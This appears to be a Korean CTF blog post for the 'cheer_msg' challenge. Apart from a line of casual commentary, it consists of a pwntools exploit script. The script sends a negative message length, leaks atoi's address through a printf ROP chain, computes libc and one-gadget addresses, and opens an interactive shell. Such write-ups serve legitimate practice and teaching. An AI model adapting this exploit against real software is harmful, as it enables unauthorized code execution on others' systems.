728x90
개꿀잼! 게임하려 했지만 해킹이 더재밌는거 같다 ㅎㅎ
처음엔 뭐지 했는데 esp를 주물럭하면 쓱싹이다. 뭔가 머리아프다 하면 gdb한테 도와달라고하자!
from pwn import *
s = process("./cheer_msg")
libc = ELF("./libc")
elf = ELF("./cheer_msg")
gdb.attach(s,'b *0x080486a5')
s.recvuntil("Message Length >> ")
s.sendline("-144")
s.recvuntil("Name >> ")
pay = p32(elf.plt['printf'])
pay += p32(0x08048409)
pay += p32(elf.got['atoi'])
pay += p32(0x080485ca)
s.sendline(pay)
s.recvuntil("Message :")
print s.recvline()
leak = u32(s.recv(4))
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search("/bin/sh\00"))
one_shot = libc_base + 0x5fbc5
print "libc_base : " + hex(libc_base)
print "system : " + hex(system)
print "bin_sh : " + hex(bin_sh)
print "one_shot : " + hex(one_shot)
s.recvuntil("Message Length >> ")
s.sendline("-144")
s.recvuntil("Name >> ")
pay = p32(one_shot)
s.sendline(pay)
s.interactive()
'PWN > CTF' 카테고리의 다른 글
| [DefCamp CTF 2016] Warm heap (0) | 2019.01.03 |
|---|---|
| [SECCON 2016] checker (0) | 2018.12.30 |
| [Sctf 2016] Pwn2 (0) | 2018.12.29 |
| [RCTF 2018] Rnote3 (0) | 2018.12.25 |
| [ISITDTU 2018] dead_note_lv2 (0) | 2018.12.20 |